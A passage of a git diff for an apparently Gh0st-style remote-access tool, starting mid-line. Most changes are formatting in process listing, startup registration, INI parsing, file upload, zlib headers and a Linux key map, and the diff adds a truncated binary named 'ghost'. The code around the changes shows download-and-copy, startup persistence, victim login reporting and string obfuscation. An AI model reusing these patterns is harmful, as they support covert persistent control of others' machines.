URLDownloadToFileA) { if (FAILED(URLDownloadToFileA(NULL, sc.downloadUrl, dstFile, 0, NULL))) return(-1); - } + } file = dstFile; if (!strstr(curExe, sc.targetDir)) { BOOL b = CopyFileA(sc.file, dstFile, FALSE); diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp index 142cd53..6d67ad9 100644 --- a/client/SystemManager.cpp +++ b/client/SystemManager.cpp @@ -78,7 +78,7 @@ LPBYTE CSystemManager::GetProcessList() //打开进程并返回句柄 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, - FALSE, pe32.th32ProcessID); //打开目标进程 + FALSE, pe32.th32ProcessID); //打开目标进程 if (hProcess != NULL) { // 优先使用 QueryFullProcessImageName(不受32/64位限制) @@ -87,15 +87,14 @@ LPBYTE CSystemManager::GetProcessList() // 回退到原来的方法 EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded); DWORD dwReturn = GetModuleFileNameExA(hProcess, hModules, - szProcessFullPath, - sizeof(szProcessFullPath)); + szProcessFullPath, + sizeof(szProcessFullPath)); if (dwReturn == 0) { strcpy(szProcessFullPath, pe32.szExeFile); // 最后用进程名 } } CloseHandle(hProcess); // 关闭进程句柄,防止泄漏 - } - else { + } else { // OpenProcess 失败,使用快照中的进程名 strcpy(szProcessFullPath, pe32.szExeFile); } @@ -115,11 +114,11 @@ LPBYTE CSystemManager::GetProcessList() //开始计算占用的缓冲区, 我们关心他的发送的数据结构 // 此进程占用数据大小 dwLength = sizeof(DWORD) + - lstrlen(exeFile) + lstrlen(szProcessFullPath) + 2; + lstrlen(exeFile) + lstrlen(szProcessFullPath) + 2; // 缓冲区太小,再重新分配下 if (LocalSize(szBuffer) < (dwOffset + dwLength)) szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength), - LMEM_ZEROINIT | LMEM_MOVEABLE); + LMEM_ZEROINIT | LMEM_MOVEABLE); //接下来三个memcpy就是向缓冲区里存放数据 数据结构是 //进程ID+进程名+0+进程完整名+0 进程 //因为字符数据是以0 结尾的 @@ -265,11 +264,9 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要 const char* szStatus = "normal"; if (IsIconic(hWnd)) { szStatus = "minimized"; - } - else if (IsZoomed(hWnd)) { + } else if (IsZoomed(hWnd)) { szStatus = "maximized"; - } - else if (!IsWindowVisible(hWnd)) { + } else if (!IsWindowVisible(hWnd)) { szStatus = "hidden"; } diff --git a/client/reg_startup.c b/client/reg_startup.c index beaeb7d..fe4f98b 100644 --- a/client/reg_startup.c +++ b/client/reg_startup.c @@ -343,13 +343,13 @@ const char* GetInstallDirectory(const char * startupName) return NULL; } } - return folder; + return folder; } int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log) { #ifdef _DEBUG - return 1; + return 1; #endif Log = log; char username[256]; @@ -360,7 +360,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, const char *folder = GetInstallDirectory(startupName); if (!folder) { return -1; - } + } char curFile[MAX_PATH] = { 0 }; GetModuleFileNameA(NULL, curFile, MAX_PATH); diff --git a/common/IniParser.h b/common/IniParser.h index febb096..ddd848b 100644 --- a/common/IniParser.h +++ b/common/IniParser.h @@ -147,12 +147,29 @@ private: for (size_t i = 0; i < s.size(); i++) { if (s[i] == '\\' && i + 1 < s.size()) { switch (s[i + 1]) { - case 'n': result += '\n'; i++; break; - case 'r': result += '\r'; i++; break; - case 't': result += '\t'; i++; break; - case '\\': result += '\\'; i++; break; - case '"': result += '"'; i++; break; - default: result += s[i]; break; // 未知转义保留原样 + case 'n': + result += '\n'; + i++; + break; + case 'r': + result += '\r'; + i++; + break; + case 't': + result += '\t'; + i++; + break; + case '\\': + result += '\\'; + i++; + break; + case '"': + result += '"'; + i++; + break; + default: + result += s[i]; + break; // 未知转义保留原样 } } else { result += s[i]; diff --git a/common/commands.h b/common/commands.h index 2ddc579..662fc7f 100644 --- a/common/commands.h +++ b/common/commands.h @@ -47,7 +47,10 @@ typedef unsigned char BYTE; typedef BYTE* PBYTE, * LPBYTE; typedef void* LPVOID, * HANDLE; typedef int32_t LONG; -typedef struct { LONG x; LONG y; } POINT; +typedef struct { + LONG x; + LONG y; +} POINT; #define GET_PROCESS(a1, a2) #define MVirtualFree(a1, a2, a3) delete[]a1 @@ -205,7 +208,7 @@ enum { CMD_COMPRESS_FILES = 72, // 压缩文件 CMD_UNCOMPRESS_FILES = 73, // 解压文件 CMD_SCREEN_SIZE = 74, - CMD_FULL_SCREEN = 75, + CMD_FULL_SCREEN = 75, CMD_REMOTE_CURSOR = 76, CMD_SCROLL_INTERVAL = 77, // 滚动检测间隔 @@ -801,10 +804,10 @@ enum LOGIN_RES { RES_EXE_VERSION = 12, // EXE版本 RES_USERNAME = 13, // 电脑用户名称 RES_ISADMIN = 14, // 是否具有管理员权限 - RES_RESOLUTION = 15, // 屏幕分辨率 - RES_CLIENT_ID = 16, // 客户端唯一ID - RES_PID = 17, // 进程ID - RES_FILESIZE = 18, // 文件大小 + RES_RESOLUTION = 15, // 屏幕分辨率 + RES_CLIENT_ID = 16, // 客户端唯一ID + RES_PID = 17, // 进程ID + RES_FILESIZE = 18, // 文件大小 RES_MAX, }; @@ -936,15 +939,15 @@ typedef struct MasterSettings { #define SCROLL_DIR_DOWN 1 // 向下滚动(屏幕内容向上移) typedef struct ScreenSettings { - int MaxFPS; // 偏移 0, 最大帧率 - int CompressThread; // 偏移 4, 压缩线程数 - int ScreenStrategy; // 偏移 8, 屏幕策略 - int ScreenWidth; // 偏移 12, 屏幕宽度 - int ScreenHeight; // 偏移 16, 屏幕高度 - int FullScreen; // 偏移 20, 全屏模式 + int MaxFPS; // 偏移 0, 最大帧率 + int CompressThread; // 偏移 4, 压缩线程数 + int ScreenStrategy; // 偏移 8, 屏幕策略 + int ScreenWidth; // 偏移 12, 屏幕宽度 + int ScreenHeight; // 偏移 16, 屏幕高度 + int FullScreen; // 偏移 20, 全屏模式 int RemoteCursor; // 偏移 24, 使用远程光标 int ScrollDetectInterval; // 偏移 28, 滚动检测间隔(0=禁用, 1=每帧, 2=每2帧, ...) - char Reserved[64]; // 偏移 32, 保留字段(新能力参数从此处扩展) + char Reserved[64]; // 偏移 32, 保留字段(新能力参数从此处扩展) uint32_t Capabilities; // 偏移 96, 能力位标志(放最后) } ScreenSettings; // 总大小 100 字节 diff --git a/common/file_upload.cpp b/common/file_upload.cpp index 1d2d610..58885cb 100644 --- a/common/file_upload.cpp +++ b/common/file_upload.cpp @@ -12,7 +12,8 @@ #pragma comment(lib, "ole32.lib") #pragma comment(lib, "oleaut32.lib") -void ExpandDirectory(const std::string& dir, std::vector& result) { +void ExpandDirectory(const std::string& dir, std::vector& result) +{ std::string searchPath = dir + "\\*"; WIN32_FIND_DATAA fd; HANDLE hFind = FindFirstFileA(searchPath.c_str(), &fd); @@ -34,7 +35,8 @@ void ExpandDirectory(const std::string& dir, std::vector& result) { FindClose(hFind); } -std::vector ExpandDirectories(const std::vector& selected) { +std::vector ExpandDirectories(const std::vector& selected) +{ std::vector result; for (const auto& path : selected) { @@ -102,14 +104,11 @@ static std::vector GetDesktopSelectedFiles(int& result) std::vector vecFiles; HDROP hDrop = (HDROP)GlobalLock(stg.hGlobal); - if (hDrop) - { + if (hDrop) { UINT nFiles = DragQueryFileA(hDrop, 0xFFFFFFFF, NULL, 0); - for (UINT i = 0; i < nFiles; i++) - { + for (UINT i = 0; i < nFiles; i++) { char szPath[MAX_PATH]; - if (DragQueryFileA(hDrop, i, szPath, MAX_PATH)) - { + if (DragQueryFileA(hDrop, i, szPath, MAX_PATH)) { vecFiles.push_back(szPath); } } @@ -123,7 +122,7 @@ static std::vector GetDesktopSelectedFiles(int& result) std::vector GetForegroundSelectedFiles(int& result) { - result = 0; + result = 0; HRESULT hrInit = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); bool bNeedUninit = SUCCEEDED(hrInit); @@ -140,7 +139,7 @@ std::vector GetForegroundSelectedFiles(int& result) return FALSE; } return TRUE; - }, (LPARAM)&hWorkerW); + }, (LPARAM)&hWorkerW); if (hFore == hDesktop || hFore == hWorkerW) { if (bNeedUninit) CoUninitialize(); @@ -163,14 +162,13 @@ std::vector GetForegroundSelectedFiles(int& result) if (bNeedUninit) CoUninitialize(); result = 2; return {}; - } + } std::vector vecFiles; long nCount = 0; pShellWindows->get_Count(&nCount); - for (long i = 0; i < nCount; i++) - { + for (long i = 0; i < nCount; i++) { CComVariant vIndex(i); CComPtr pDisp; if (FAILED(pShellWindows->Item(vIndex, &pDisp)) || !pDisp) @@ -206,19 +204,15 @@ std::vector GetForegroundSelectedFiles(int& result) long nItems = 0; pItems->get_Count(&nItems); - for (long j = 0; j < nItems; j++) - { + for (long j = 0; j < nItems; j++) { CComVariant vj(j); CComPtr pItem; - if (SUCCEEDED(pItems->Item(vj, &pItem)) && pItem) - { + if (SUCCEEDED(pItems->Item(vj, &pItem)) && pItem) { CComBSTR bstrPath; - if (SUCCEEDED(pItem->get_Path(&bstrPath))) - { + if (SUCCEEDED(pItem->get_Path(&bstrPath))) { // BSTR (宽字符) 转 多字节 int nLen = WideCharToMultiByte(CP_ACP, 0, bstrPath, -1, NULL, 0, NULL, NULL); - if (nLen > 0) - { + if (nLen > 0) { std::string strPath(nLen - 1, '\0'); WideCharToMultiByte(CP_ACP, 0, bstrPath, -1, &strPath[0], nLen, NULL, NULL); vecFiles.push_back(strPath); diff --git a/common/file_upload.h b/common/file_upload.h index e07f970..8d56f0c 100644 --- a/common/file_upload.h +++ b/common/file_upload.h @@ -17,8 +17,8 @@ struct FileChunkPacket { typedef void (*LogFunc)(const char* file, int line, const char* format, ...); -int InitFileUpload(const std::string& key, const std::string& msg, const std::string& hmac, - int chunkSizeKb = 64, int sendDurationMs = 50, LogFunc logFunc = NULL); +int InitFileUpload(const std::string& key, const std::string& msg, const std::string& hmac, + int chunkSizeKb = 64, int sendDurationMs = 50, LogFunc logFunc = NULL); int UninitFileUpload(); diff --git a/common/location.h b/common/location.h index 195a1ec..5890523 100644 --- a/common/location.h +++ b/common/location.h @@ -310,8 +310,7 @@ public: } }; -enum IPDatabaseType -{ +enum IPDatabaseType { NoneDB = 0, QQWry = 1, Ip2Region = 2, diff --git a/common/skCrypter.h b/common/skCrypter.h index da7d345..46cf5fa 100644 --- a/common/skCrypter.h +++ b/common/skCrypter.h @@ -58,7 +58,8 @@ template using clean_type = typename std::remove_const_t>; template -class skCrypter { +class skCrypter +{ public: __forceinline constexpr skCrypter(T* data) { diff --git a/compress/zlib/zconf.h b/compress/zlib/zconf.h index aa3ced6..122ba03 100644 --- a/compress/zlib/zconf.h +++ b/compress/zlib/zconf.h @@ -250,19 +250,19 @@ ZCONF_H #ifdef Z_SOLO # ifdef _WIN64 - typedef unsigned long long z_size_t; +typedef unsigned long long z_size_t; # else - typedef unsigned long z_size_t; +typedef unsigned long z_size_t; # endif #else # define z_longlong long long # if defined(NO_SIZE_T) - typedef unsigned NO_SIZE_T z_size_t; +typedef unsigned NO_SIZE_T z_size_t; # elif defined(STDC) # include - typedef size_t z_size_t; +typedef size_t z_size_t; # else - typedef unsigned long z_size_t; +typedef unsigned long z_size_t; # endif # undef z_longlong #endif @@ -298,7 +298,7 @@ ZCONF_H for small objects. */ - /* Type declarations */ +/* Type declarations */ #ifndef OF /* function prototypes */ # ifdef STDC @@ -316,7 +316,7 @@ ZCONF_H */ #ifdef SYS16BIT # if defined(M_I86SM) || defined(M_I86MM) - /* MSC small or medium model */ +/* MSC small or medium model */ # define SMALL_MEDIUM # ifdef _MSC_VER # define FAR _far @@ -325,7 +325,7 @@ ZCONF_H # endif # endif # if (defined(__SMALL__) || defined(__MEDIUM__)) - /* Turbo C small or medium model */ +/* Turbo C small or medium model */ # define SMALL_MEDIUM # ifdef __BORLANDC__ # define FAR _far @@ -336,9 +336,9 @@ ZCONF_H #endif #if defined(WINDOWS) || defined(WIN32) - /* If building or using zlib as a DLL, define ZLIB_DLL. - * This is not mandatory, but it offers a little performance increase. - */ +/* If building or using zlib as a DLL, define ZLIB_DLL. + * This is not mandatory, but it offers a little performance increase. + */ # ifdef ZLIB_DLL # if defined(WIN32) && (!defined(__BORLANDC__) || (__BORLANDC__ >= 0x500)) # ifdef ZLIB_INTERNAL @@ -348,10 +348,10 @@ ZCONF_H # endif # endif # endif /* ZLIB_DLL */ - /* If building or using zlib with the WINAPI/WINAPIV calling convention, - * define ZLIB_WINAPI. - * Caution: the standard ZLIB1.DLL is NOT compiled using ZLIB_WINAPI. - */ +/* If building or using zlib with the WINAPI/WINAPIV calling convention, + * define ZLIB_WINAPI. + * Caution: the standard ZLIB1.DLL is NOT compiled using ZLIB_WINAPI. + */ # ifdef ZLIB_WINAPI # ifdef FAR # undef FAR @@ -360,8 +360,8 @@ ZCONF_H # define WIN32_LEAN_AND_MEAN # endif # include - /* No need for _export, use ZLIB.DEF instead. */ - /* For complete Windows compatibility, use WINAPI, not __stdcall. */ +/* No need for _export, use ZLIB.DEF instead. */ +/* For complete Windows compatibility, use WINAPI, not __stdcall. */ # define ZEXPORT WINAPI # ifdef WIN32 # define ZEXPORTVA WINAPIV @@ -404,10 +404,10 @@ typedef unsigned int uInt; /* 16 bits or more */ typedef unsigned long uLong; /* 32 bits or more */ #ifdef SMALL_MEDIUM - /* Borland C/C++ and some old MSC versions ignore FAR inside typedef */ +/* Borland C/C++ and some old MSC versions ignore FAR inside typedef */ # define Bytef Byte FAR #else - typedef Byte FAR Bytef; +typedef Byte FAR Bytef; #endif typedef char FAR charf; typedef int FAR intf; @@ -415,13 +415,13 @@ typedef uInt FAR uIntf; typedef uLong FAR uLongf; #ifdef STDC - typedef void const *voidpc; - typedef void FAR *voidpf; - typedef void *voidp; +typedef void const *voidpc; +typedef void FAR *voidpf; +typedef void *voidp; #else - typedef Byte const *voidpc; - typedef Byte FAR *voidpf; - typedef Byte *voidp; +typedef Byte const *voidpc; +typedef Byte FAR *voidpf; +typedef Byte *voidp; #endif #if !defined(Z_U4) && !defined(Z_SOLO) && defined(STDC) @@ -436,9 +436,9 @@ typedef uLong FAR uLongf; #endif #ifdef Z_U4 - typedef Z_U4 z_crc_t; +typedef Z_U4 z_crc_t; #else - typedef unsigned long z_crc_t; +typedef unsigned long z_crc_t; #endif #if HAVE_UNISTD_H-0 /* may be set to #if 1 by ./configure */ @@ -531,19 +531,19 @@ typedef uLong FAR uLongf; /* MVS linker does not support external names larger than 8 bytes */ #if defined(__MVS__) - #pragma map(deflateInit_,"DEIN") - #pragma map(deflateInit2_,"DEIN2") - #pragma map(deflateEnd,"DEEND") - #pragma map(deflateBound,"DEBND") - #pragma map(inflateInit_,"ININ") - #pragma map(inflateInit2_,"ININ2") - #pragma map(inflateEnd,"INEND") - #pragma map(inflateSync,"INSY") - #pragma map(inflateSetDictionary,"INSEDI") - #pragma map(compressBound,"CMBND") - #pragma map(inflate_table,"INTABL") - #pragma map(inflate_fast,"INFA") - #pragma map(inflate_copyright,"INCOPY") +#pragma map(deflateInit_,"DEIN") +#pragma map(deflateInit2_,"DEIN2") +#pragma map(deflateEnd,"DEEND") +#pragma map(deflateBound,"DEBND") +#pragma map(inflateInit_,"ININ") +#pragma map(inflateInit2_,"ININ2") +#pragma map(inflateEnd,"INEND") +#pragma map(inflateSync,"INSY") +#pragma map(inflateSetDictionary,"INSEDI") +#pragma map(compressBound,"CMBND") +#pragma map(inflate_table,"INTABL") +#pragma map(inflate_fast,"INFA") +#pragma map(inflate_copyright,"INCOPY") #endif #endif /* ZCONF_H */ diff --git a/compress/zlib/zlib.h b/compress/zlib/zlib.h index f7aded9..b4581dc 100644 --- a/compress/zlib/zlib.h +++ b/compress/zlib/zlib.h @@ -167,7 +167,7 @@ typedef gz_header FAR *gz_headerp; if the decompressor wants to decompress everything in a single step). */ - /* constants */ +/* constants */ #define Z_NO_FLUSH 0 #define Z_PARTIAL_FLUSH 1 @@ -219,7 +219,7 @@ typedef gz_header FAR *gz_headerp; /* for compatibility with versions < 1.0.2 */ - /* basic functions */ +/* basic functions */ ZEXTERN const char * ZEXPORT zlibVersion(void); /* The application can compare zlibVersion and ZLIB_VERSION for consistency. @@ -533,7 +533,7 @@ ZEXTERN int ZEXPORT inflateEnd(z_streamp strm); */ - /* Advanced functions */ +/* Advanced functions */ /* The following functions are needed only in some special applications. @@ -616,8 +616,8 @@ ZEXTERN int ZEXPORT deflateInit2(z_streamp strm, */ ZEXTERN int ZEXPORT deflateSetDictionary(z_streamp strm, - const Bytef *dictionary, - uInt dictLength); + const Bytef *dictionary, + uInt dictLength); /* Initializes the compression dictionary from the given byte sequence without producing any compressed output. When using the zlib format, this @@ -660,8 +660,8 @@ ZEXTERN int ZEXPORT deflateSetDictionary(z_streamp strm, */ ZEXTERN int ZEXPORT deflateGetDictionary(z_streamp strm, - Bytef *dictionary, - uInt *dictLength); + Bytef *dictionary, + uInt *dictLength); /* Returns the sliding dictionary being maintained by deflate. dictLength is set to the number of bytes in the dictionary, and that many bytes are copied @@ -905,8 +905,8 @@ ZEXTERN int ZEXPORT inflateInit2(z_streamp strm, */ ZEXTERN int ZEXPORT inflateSetDictionary(z_streamp strm, - const Bytef *dictionary, - uInt dictLength); + const Bytef *dictionary, + uInt dictLength); /* Initializes the decompression dictionary from the given uncompressed byte sequence. This function must be called immediately after a call of inflate, @@ -928,8 +928,8 @@ ZEXTERN int ZEXPORT inflateSetDictionary(z_streamp strm, */ ZEXTERN int ZEXPORT inflateGetDictionary(z_streamp strm, - Bytef *dictionary, - uInt *dictLength); + Bytef *dictionary, + uInt *dictLength); /* Returns the sliding dictionary being maintained by inflate. dictLength is set to the number of bytes in the dictionary, and that many bytes are copied @@ -1250,7 +1250,7 @@ ZEXTERN uLong ZEXPORT zlibCompileFlags(void); #ifndef Z_SOLO - /* utility functions */ +/* utility functions */ /* The following utility functions are implemented on top of the basic @@ -1324,7 +1324,7 @@ ZEXTERN int ZEXPORT uncompress2(Bytef *dest, uLongf *destLen, source bytes consumed. */ - /* gzip file access functions */ +/* gzip file access functions */ /* This library supports reading and writing files in gzip (.gz) format with @@ -1771,7 +1771,7 @@ ZEXTERN void ZEXPORT gzclearerr(gzFile file); #endif /* !Z_SOLO */ - /* checksum functions */ +/* checksum functions */ /* These functions are not related to compression but are exported @@ -1866,7 +1866,7 @@ ZEXTERN uLong ZEXPORT crc32_combine_op(uLong crc1, uLong crc2, uLong op); */ - /* various hacks, don't look :) */ +/* various hacks, don't look :) */ /* deflateInit and inflateInit are macros to allow checking the zlib version * and the compiler's view of z_stream: @@ -1946,13 +1946,13 @@ ZEXTERN int ZEXPORT gzgetc_(gzFile file); /* backward compatibility */ * without large file support, _LFS64_LARGEFILE must also be true */ #ifdef Z_LARGE64 - ZEXTERN gzFile ZEXPORT gzopen64(const char *, const char *); - ZEXTERN z_off64_t ZEXPORT gzseek64(gzFile, z_off64_t, int); - ZEXTERN z_off64_t ZEXPORT gztell64(gzFile); - ZEXTERN z_off64_t ZEXPORT gzoffset64(gzFile); - ZEXTERN uLong ZEXPORT adler32_combine64(uLong, uLong, z_off64_t); - ZEXTERN uLong ZEXPORT crc32_combine64(uLong, uLong, z_off64_t); - ZEXTERN uLong ZEXPORT crc32_combine_gen64(z_off64_t); +ZEXTERN gzFile ZEXPORT gzopen64(const char *, const char *); +ZEXTERN z_off64_t ZEXPORT gzseek64(gzFile, z_off64_t, int); +ZEXTERN z_off64_t ZEXPORT gztell64(gzFile); +ZEXTERN z_off64_t ZEXPORT gzoffset64(gzFile); +ZEXTERN uLong ZEXPORT adler32_combine64(uLong, uLong, z_off64_t); +ZEXTERN uLong ZEXPORT crc32_combine64(uLong, uLong, z_off64_t); +ZEXTERN uLong ZEXPORT crc32_combine_gen64(z_off64_t); #endif #if !defined(ZLIB_INTERNAL) && defined(Z_WANT64) @@ -1974,29 +1974,29 @@ ZEXTERN int ZEXPORT gzgetc_(gzFile file); /* backward compatibility */ # define crc32_combine_gen crc32_combine_gen64 # endif # ifndef Z_LARGE64 - ZEXTERN gzFile ZEXPORT gzopen64(const char *, const char *); - ZEXTERN z_off_t ZEXPORT gzseek64(gzFile, z_off_t, int); - ZEXTERN z_off_t ZEXPORT gztell64(gzFile); - ZEXTERN z_off_t ZEXPORT gzoffset64(gzFile); - ZEXTERN uLong ZEXPORT adler32_combine64(uLong, uLong, z_off64_t); - ZEXTERN uLong ZEXPORT crc32_combine64(uLong, uLong, z_off64_t); - ZEXTERN uLong ZEXPORT crc32_combine_gen64(z_off64_t); +ZEXTERN gzFile ZEXPORT gzopen64(const char *, const char *); +ZEXTERN z_off_t ZEXPORT gzseek64(gzFile, z_off_t, int); +ZEXTERN z_off_t ZEXPORT gztell64(gzFile); +ZEXTERN z_off_t ZEXPORT gzoffset64(gzFile); +ZEXTERN uLong ZEXPORT adler32_combine64(uLong, uLong, z_off64_t); +ZEXTERN uLong ZEXPORT crc32_combine64(uLong, uLong, z_off64_t); +ZEXTERN uLong ZEXPORT crc32_combine_gen64(z_off64_t); # endif #else - ZEXTERN gzFile ZEXPORT gzopen(const char *, const char *); - ZEXTERN z_off_t ZEXPORT gzseek(gzFile, z_off_t, int); - ZEXTERN z_off_t ZEXPORT gztell(gzFile); - ZEXTERN z_off_t ZEXPORT gzoffset(gzFile); - ZEXTERN uLong ZEXPORT adler32_combine(uLong, uLong, z_off_t); - ZEXTERN uLong ZEXPORT crc32_combine(uLong, uLong, z_off_t); - ZEXTERN uLong ZEXPORT crc32_combine_gen(z_off_t); +ZEXTERN gzFile ZEXPORT gzopen(const char *, const char *); +ZEXTERN z_off_t ZEXPORT gzseek(gzFile, z_off_t, int); +ZEXTERN z_off_t ZEXPORT gztell(gzFile); +ZEXTERN z_off_t ZEXPORT gzoffset(gzFile); +ZEXTERN uLong ZEXPORT adler32_combine(uLong, uLong, z_off_t); +ZEXTERN uLong ZEXPORT crc32_combine(uLong, uLong, z_off_t); +ZEXTERN uLong ZEXPORT crc32_combine_gen(z_off_t); #endif #else /* Z_SOLO */ - ZEXTERN uLong ZEXPORT adler32_combine(uLong, uLong, z_off_t); - ZEXTERN uLong ZEXPORT crc32_combine(uLong, uLong, z_off_t); - ZEXTERN uLong ZEXPORT crc32_combine_gen(z_off_t); +ZEXTERN uLong ZEXPORT adler32_combine(uLong, uLong, z_off_t); +ZEXTERN uLong ZEXPORT crc32_combine(uLong, uLong, z_off_t); +ZEXTERN uLong ZEXPORT crc32_combine_gen(z_off_t); #endif /* !Z_SOLO */ @@ -2016,8 +2016,8 @@ ZEXTERN gzFile ZEXPORT gzopen_w(const wchar_t *path, #if defined(STDC) || defined(Z_HAVE_STDARG_H) # ifndef Z_SOLO ZEXTERN int ZEXPORTVA gzvprintf(gzFile file, - const char *format, - va_list va); + const char *format, + va_list va); # endif #endif diff --git a/linux/ScreenHandler.h b/linux/ScreenHandler.h index b6410e9..5c118f5 100644 --- a/linux/ScreenHandler.h +++ b/linux/ScreenHandler.h @@ -216,55 +216,103 @@ static unsigned long VKtoKeySym(unsigned int vk) // 特殊键映射 switch (vk) { - case 0x08: return XK_BackSpace; // VK_BACK - case 0x09: return XK_Tab; // VK_TAB - case 0x0D: return XK_Return; // VK_RETURN - case 0x10: return XK_Shift_L; // VK_SHIFT - case 0x11: return XK_Control_L; // VK_CONTROL - case 0x12: return XK_Alt_L; // VK_MENU (Alt) - case 0x13: return XK_Pause; // VK_PAUSE - case 0x14: return XK_Caps_Lock; // VK_CAPITAL - case 0x1B: return XK_Escape; // VK_ESCAPE - case 0x20: return XK_space; // VK_SPACE - case 0x21: return XK_Page_Up; // VK_PRIOR - case 0x22: return XK_Page_Down; // VK_NEXT - case 0x23: return XK_End; // VK_END - case 0x24: return XK_Home; // VK_HOME - case 0x25: return XK_Left; // VK_LEFT - case 0x26: return XK_Up; // VK_UP - case 0x27: return XK_Right; // VK_RIGHT - case 0x28: return XK_Down; // VK_DOWN - case 0x2C: return XK_Print; // VK_SNAPSHOT - case 0x2D: return XK_Insert; // VK_INSERT - case 0x2E: return XK_Delete; // VK_DELETE - case 0x5B: return XK_Super_L; // VK_LWIN - case 0x5C: return XK_Super_R; // VK_RWIN - case 0x6A: return XK_KP_Multiply; // VK_MULTIPLY - case 0x6B: return XK_KP_Add; // VK_ADD - case 0x6D: return XK_KP_Subtract; // VK_SUBTRACT - case 0x6E: return XK_KP_Decimal; // VK_DECIMAL - case 0x6F: return XK_KP_Divide; // VK_DIVIDE - case 0x90: return XK_Num_Lock; // VK_NUMLOCK - case 0x91: return XK_Scroll_Lock; // VK_SCROLL - case 0xA0: return XK_Shift_L; // VK_LSHIFT - case 0xA1: return XK_Shift_R; // VK_RSHIFT - case 0xA2: return XK_Control_L; // VK_LCONTROL - case 0xA3: return XK_Control_R; // VK_RCONTROL - case 0xA4: return XK_Alt_L; // VK_LMENU - case 0xA5: return XK_Alt_R; // VK_RMENU - // 符号键(美式键盘布局) - case 0xBA: return 0x003b; // VK_OEM_1 (;:) - case 0xBB: return 0x003d; // VK_OEM_PLUS (=+) - case 0xBC: return 0x002c; // VK_OEM_COMMA (,<) - case 0xBD: return 0x002d; // VK_OEM_MINUS (-_) - case 0xBE: return 0x002e; // VK_OEM_PERIOD (.>) - case 0xBF: return 0x002f; // VK_OEM_2 (/?) - case 0xC0: return 0x0060; // VK_OEM_3 (`~) - case 0xDB: return 0x005b; // VK_OEM_4 ([{) - case 0xDC: return 0x005c; // VK_OEM_5 (\|) - case 0xDD: return 0x005d; // VK_OEM_6 (]}) - case 0xDE: return 0x0027; // VK_OEM_7 ('") - default: return 0; // 未知键 + case 0x08: + return XK_BackSpace; // VK_BACK + case 0x09: + return XK_Tab; // VK_TAB + case 0x0D: + return XK_Return; // VK_RETURN + case 0x10: + return XK_Shift_L; // VK_SHIFT + case 0x11: + return XK_Control_L; // VK_CONTROL + case 0x12: + return XK_Alt_L; // VK_MENU (Alt) + case 0x13: + return XK_Pause; // VK_PAUSE + case 0x14: + return XK_Caps_Lock; // VK_CAPITAL + case 0x1B: + return XK_Escape; // VK_ESCAPE + case 0x20: + return XK_space; // VK_SPACE + case 0x21: + return XK_Page_Up; // VK_PRIOR + case 0x22: + return XK_Page_Down; // VK_NEXT + case 0x23: + return XK_End; // VK_END + case 0x24: + return XK_Home; // VK_HOME + case 0x25: + return XK_Left; // VK_LEFT + case 0x26: + return XK_Up; // VK_UP + case 0x27: + return XK_Right; // VK_RIGHT + case 0x28: + return XK_Down; // VK_DOWN + case 0x2C: + return XK_Print; // VK_SNAPSHOT + case 0x2D: + return XK_Insert; // VK_INSERT + case 0x2E: + return XK_Delete; // VK_DELETE + case 0x5B: + return XK_Super_L; // VK_LWIN + case 0x5C: + return XK_Super_R; // VK_RWIN + case 0x6A: + return XK_KP_Multiply; // VK_MULTIPLY + case 0x6B: + return XK_KP_Add; // VK_ADD + case 0x6D: + return XK_KP_Subtract; // VK_SUBTRACT + case 0x6E: + return XK_KP_Decimal; // VK_DECIMAL + case 0x6F: + return XK_KP_Divide; // VK_DIVIDE + case 0x90: + return XK_Num_Lock; // VK_NUMLOCK + case 0x91: + return XK_Scroll_Lock; // VK_SCROLL + case 0xA0: + return XK_Shift_L; // VK_LSHIFT + case 0xA1: + return XK_Shift_R; // VK_RSHIFT + case 0xA2: + return XK_Control_L; // VK_LCONTROL + case 0xA3: + return XK_Control_R; // VK_RCONTROL + case 0xA4: + return XK_Alt_L; // VK_LMENU + case 0xA5: + return XK_Alt_R; // VK_RMENU + // 符号键(美式键盘布局) + case 0xBA: + return 0x003b; // VK_OEM_1 (;:) + case 0xBB: + return 0x003d; // VK_OEM_PLUS (=+) + case 0xBC: + return 0x002c; // VK_OEM_COMMA (,<) + case 0xBD: + return 0x002d; // VK_OEM_MINUS (-_) + case 0xBE: + return 0x002e; // VK_OEM_PERIOD (.>) + case 0xBF: + return 0x002f; // VK_OEM_2 (/?) + case 0xC0: + return 0x0060; // VK_OEM_3 (`~) + case 0xDB: + return 0x005b; // VK_OEM_4 ([{) + case 0xDC: + return 0x005c; // VK_OEM_5 (\|) + case 0xDD: + return 0x005d; // VK_OEM_6 (]}) + case 0xDE: + return 0x0027; // VK_OEM_7 ('") + default: + return 0; // 未知键 } } @@ -505,7 +553,8 @@ public: if (m_display) { if (m_gc && m_x11.pXFreeGC) m_x11.pXFreeGC(m_display, m_gc); if (m_pixmap && m_x11.pXFreePixmap) m_x11.pXFreePixmap(m_display, m_pixmap); - m_pixmap = 0; m_gc = nullptr; + m_pixmap = 0; + m_gc = nullptr; // 强制全屏重绘,恢复 VMware SVGA 等虚拟显卡驱动的显示状态 // XClearArea(display, window, x, y, w, h, exposures) // w=0, h=0 表示整个窗口;exposures=True 触发 Expose 事件强制所有窗口重绘 @@ -837,8 +886,7 @@ private: while (i < totalPixels) { if (*(uint32_t*)(curr + i * 4) != *(uint32_t*)(prev + i * 4)) { lastDiff = i; - } - else if (i - lastDiff > gapThreshold) { + } else if (i - lastDiff > gapThreshold) { break; } i++; diff --git a/linux/ghost b/linux/ghost new file mode 100644 index 0000000000000000000000000000000000000000..410cc2d8be83eb23c5da520e7a213921ce351532 GIT binary patch literal 5190152 zcmeF)d%Wyac|ZPe5FOw9_WgJ%i{ME(3h6C?B;<@ zEcJ-;M<12w`%`{)!Xi<=>$h8M&wI$?_Xd4G;>qO*6t(ePzg_v8-iJcm7;!D2Ec$RG}|MxMT{M{~ZRD8*IzFmad@%MAo%?$Zo zZlnCVNAZ98Gxtm4GN=5)@EfwdKmXVDo#pMgeG*IiHv^~4`UD7|T-#+uS 